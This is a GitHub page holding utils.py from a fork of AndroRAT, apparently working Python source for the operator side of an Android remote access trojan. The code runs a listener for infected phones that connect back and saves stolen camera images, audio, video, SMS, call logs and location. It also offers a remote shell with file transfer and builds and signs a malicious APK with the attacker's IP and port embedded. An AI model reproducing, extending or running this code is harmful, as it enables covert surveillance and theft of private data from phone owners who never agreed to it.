forked from karma9874/AndroRAT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
utils.py
402 lines (363 loc) · 13.9 KB
/
utils.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import os
import base64
import time
import binascii
import select
import pathlib
import platform
import re
from subprocess import PIPE, run
import socket
import threading
import itertools
import queue
banner = """\033[1m\033[91m
_ _____ _______
/\ | | | __ \ /\|__ __|
/ \ _ __ __| |_ __ ___ | |__) | / \ | |
/ /\ \ | '_ \ / _` | '__/ _ \| _ / / /\ \ | |
/ ____ \| | | | (_| | | | (_) | | \ \ / ____ \| |
/_/ \_\_| |_|\__,_|_| \___/|_| \_\/_/ \_\_|
\033[93m- By karma9874
"""
pattern = '\"(\\d+\\.\\d+).*\"'
def stdOutput(type_=None):
if type_=="error":col="31m";str="ERROR"
if type_=="warning":col="33m";str="WARNING"
if type_=="success":col="32m";str="SUCCESS"
if type_ == "info":return "\033[1m[\033[33m\033[0m\033[1m\033[33mINFO\033[0m\033[1m] "
message = "\033[1m[\033[31m\033[0m\033[1m\033["+col+str+"\033[0m\033[1m]\033[0m "
return message
def animate(message):
chars = "/—\\|"
for char in chars:
sys.stdout.write("\r"+stdOutput("info")+"\033[1m"+message+"\033[31m"+char+"\033[0m")
time.sleep(.1)
sys.stdout.flush()
def clearDirec():
if(platform.system() == 'Windows'):
clear = lambda: os.system('cls')
direc = "\\"
else:
clear = lambda: os.system('clear')
direc = "/"
return clear,direc
clear,direc = clearDirec()
if not os.path.isdir(os.getcwd()+direc+"Dumps"):
os.makedirs("Dumps")
def is_valid_ip(ip):
m = re.match(r"^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$", ip)
return bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups()))
def is_valid_port(port):
i = 1 if port.isdigit() and len(port)>1 else 0
return i
def execute(command):
return run(command, stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True)
def executeCMD(command,queue):
result = run(command, stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True)
queue.put(result)
return result
def getpwd(name):
return os.getcwd()+direc+name;
def help():
helper="""
Usage:
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a interactive shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
"""
print(helper)
def getImage(client):
print(stdOutput("info")+"\033[0mTaking Image")
timestr = time.strftime("%Y%m%d-%H%M%S")
flag=0
filename ="Dumps"+direc+"Image_"+timestr+'.jpg'
imageBuffer=recvall(client)
imageBuffer = imageBuffer.strip().replace("END123","").strip()
if imageBuffer=="":
print(stdOutput("error")+"Unable to connect to the Camera\n")
return
with open(filename,'wb') as img:
try:
imgdata = base64.b64decode(imageBuffer)
img.write(imgdata)
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename)+"\n")
except binascii.Error as e:
flag=1
print(stdOutput("error")+"Not able to decode the Image\n")
if flag == 1:
os.remove(filename)
def readSMS(client,data):
print(stdOutput("info")+"\033[0mGetting "+data+" SMS")
msg = "start"
timestr = time.strftime("%Y%m%d-%H%M%S")
filename = "Dumps"+direc+data+"_"+timestr+'.txt'
flag =0
with open(filename, 'w',errors="ignore", encoding="utf-8") as txt:
msg = recvall(client)
try:
txt.write(msg)
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename)+"\n")
except UnicodeDecodeError:
flag = 1
print(stdOutput("error")+"Unable to decode the SMS\n")
if flag == 1:
os.remove(filename)
def getFile(filename,ext,data):
fileData = "Dumps"+direc+filename+"."+ext
flag=0
with open(fileData, 'wb') as file:
try:
rawFile = base64.b64decode(data)
file.write(rawFile)
print(stdOutput("success")+"Succesfully Downloaded in \033[1m\033[32m"+getpwd(fileData)+"\n")
except binascii.Error:
flag=1
print(stdOutput("error")+"Not able to decode the Audio File")
if flag == 1:
os.remove(filename)
def putFile(filename):
data = open(filename, "rb").read()
encoded = base64.b64encode(data)
return encoded
def shell(client):
msg = "start"
command = "ad"
while True:
msg = recvallShell(client)
if "getFile" in msg:
msg=" "
msg1 = recvall(client)
msg1 = msg1.replace("\nEND123\n","")
filedata = msg1.split("|_|")
getFile(filedata[0],filedata[1],filedata[2])
if "putFile" in msg:
msg=" "
sendingData=""
filename = command.split(" ")[1].strip()
file = pathlib.Path(filename)
if file.exists():
encoded_data = putFile(filename).decode("UTF-8")
filedata = filename.split(".")
sendingData+="putFile"+"<"+filedata[0]+"<"+filedata[1]+"<"+encoded_data+"END123\n"
client.send(sendingData.encode("UTF-8"))
print(stdOutput("success")+f"Succesfully Uploaded the file \033[32m{filedata[0]+'.'+filedata[1]} in /sdcard/temp/")
else:
print(stdOutput("error")+"File not exist")
if "Exiting" in msg:
print("\033[1m\033[33m----------Exiting Shell----------\n")
return
msg = msg.split("\n")
for i in msg[:-2]:
print(i)
print(" ")
command = input("\033[1m\033[36mandroid@shell:~$\033[0m \033[1m")
command = command+"\n"
if command.strip() == "clear":
client.send("test\n".encode("UTF-8"))
clear()
else:
client.send(command.encode("UTF-8"))
def getLocation(sock):
msg = "start"
while True:
msg = recvall(sock)
msg = msg.split("\n")
for i in msg[:-2]:
print(i)
if("END123" in msg):
return
print(" ")
def recvall(sock):
buff=""
data = ""
while "END123" not in data:
data = sock.recv(4096).decode("UTF-8","ignore")
buff+=data
return buff
def recvallShell(sock):
buff=""
data = ""
ready = select.select([sock], [], [], 3)
while "END123" not in data:
if ready[0]:
data = sock.recv(4096).decode("UTF-8","ignore")
buff+=data
else:
buff="bogus"
return buff
return buff
def stopAudio(client):
print(stdOutput("info")+"\033[0mDownloading Audio")
timestr = time.strftime("%Y%m%d-%H%M%S")
data= ""
flag =0
data=recvall(client)
data = data.strip().replace("END123","").strip()
filename = "Dumps"+direc+"Audio_"+timestr+".mp3"
with open(filename, 'wb') as audio:
try:
audioData = base64.b64decode(data)
audio.write(audioData)
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename))
except binascii.Error:
flag=1
print(stdOutput("error")+"Not able to decode the Audio File")
print(" ")
if flag == 1:
os.remove(filename)
def stopVideo(client):
print(stdOutput("info")+"\033[0mDownloading Video")
timestr = time.strftime("%Y%m%d-%H%M%S")
data= ""
flag=0
data=recvall(client)
data = data.strip().replace("END123","").strip()
filename = "Dumps"+direc+"Video_"+timestr+'.mp4'
with open(filename, 'wb') as video:
try:
videoData = base64.b64decode(data)
video.write(videoData)
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename))
except binascii.Error:
flag = 1
print(stdOutput("error")+"Not able to decode the Video File\n")
if flag == 1:
os.remove("Video_"+timestr+'.mp4')
def callLogs(client):
print(stdOutput("info")+"\033[0mGetting Call Logs")
msg = "start"
timestr = time.strftime("%Y%m%d-%H%M%S")
msg = recvall(client)
filename = "Dumps"+direc+"Call_Logs_"+timestr+'.txt'
if "No call logs" in msg:
msg.split("\n")
print(msg.replace("END123","").strip())
print(" ")
else:
with open(filename, 'w',errors="ignore", encoding="utf-8") as txt:
txt.write(msg)
txt.close()
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename)+"\033[0m")
if not os.path.getsize(filename):
os.remove(filename)
def get_shell(ip,port):
soc = socket.socket()
soc = socket.socket(type=socket.SOCK_STREAM)
try:
# Restart the TCP server on exit
soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
soc.bind((ip, int(port)))
except Exception as e:
print(stdOutput("error")+"\033[1m %s"%e);exit()
soc.listen(2)
print(banner)
while True:
que = queue.Queue()
t = threading.Thread(target=connection_checker,args=[soc,que])
t.daemon = True
t.start()
while t.is_alive(): animate("Waiting for Connections ")
t.join()
conn, addr = que.get()
clear()
print("\033[1m\033[33mGot connection from \033[31m"+"".join(str(addr))+"\033[0m")
print(" ")
while True:
msg = conn.recv(4024).decode("UTF-8")
if(msg.strip() == "IMAGE"):
getImage(conn)
elif("readSMS" in msg.strip()):
content = msg.strip().split(" ")
data = content[1]
readSMS(conn,data)
elif(msg.strip() == "SHELL"):
shell(conn)
elif(msg.strip() == "getLocation"):
getLocation(conn)
elif(msg.strip() == "stopVideo123"):
stopVideo(conn)
elif(msg.strip() == "stopAudio"):
stopAudio(conn)
elif(msg.strip() == "callLogs"):
callLogs(conn)
elif(msg.strip() == "help"):
help()
else:
print(stdOutput("error")+msg) if "Unknown Command" in msg else print("\033[1m"+msg) if "Hello there" in msg else print(msg)
message_to_send = input("\033[1m\033[36mInterpreter:/> \033[0m")+"\n"
conn.send(message_to_send.encode("UTF-8"))
if message_to_send.strip() == "exit":
print(" ")
print("\033[1m\033[32m\t (∗ ・‿・)ノ゛\033[0m")
sys.exit()
if(message_to_send.strip() == "clear"):clear()
def connection_checker(socket,queue):
conn, addr = socket.accept()
queue.put([conn,addr])
return conn,addr
def build(ip,port,output,ngrok=False,ng=None,icon=None):
editor = "Compiled_apk"+direc+"smali"+direc+"com"+direc+"example"+direc+"reverseshell2"+direc+"config.smali"
try:
file = open(editor,"r").readlines()
#Very much uncertaninity but cant think any other way to do it xD
file[18]=file[18][:21]+"\""+ip+"\""+"\n"
file[23]=file[23][:21]+"\""+port+"\""+"\n"
file[28]=file[28][:15]+" 0x0"+"\n" if icon else file[28][:15]+" 0x1"+"\n"
str_file="".join([str(elem) for elem in file])
open(editor,"w").write(str_file)
except Exception as e:
print(e)
sys.exit()
java_version = execute("java -version")
if java_version.returncode: print(stdOutput("error")+"Java not installed or found");exit()
#version_no = re.search(pattern, java_version.stderr).groups()[0]
# if float(version_no) > 1.8: print(stdOutput("error")+"Java 8 is required, Java version found "+version_no);exit()
print(stdOutput("info")+"\033[0mGenerating APK")
outFileName = output if output else "karma.apk"
que = queue.Queue()
t = threading.Thread(target=executeCMD,args=["java -jar Jar_utils/apktool.jar b Compiled_apk -o "+outFileName,que],)
t.start()
while t.is_alive(): animate("Building APK ")
t.join()
print(" ")
resOut = que.get()
if not resOut.returncode:
print(stdOutput("success")+"Successfully apk built in \033[1m\033[32m"+getpwd(outFileName)+"\033[0m")
print(stdOutput("info")+"\033[0mSigning the apk")
t = threading.Thread(target=executeCMD,args=["java -jar Jar_utils/sign.jar -a "+outFileName+" --overwrite",que],)
t.start()
while t.is_alive(): animate("Signing Apk ")
t.join()
print(" ")
resOut = que.get()
if not resOut.returncode:
print(stdOutput("success")+"Successfully signed the apk \033[1m\033[32m"+outFileName+"\033[0m")
if ngrok:
clear()
get_shell("0.0.0.0",8000) if not ng else get_shell("0.0.0.0",ng)
print(" ")
else:
print("\r"+resOut.stderr)
print(stdOutput("error")+"Signing Failed")
else:
print("\r"+resOut.stderr)
print(stdOutput("error")+"Building Failed")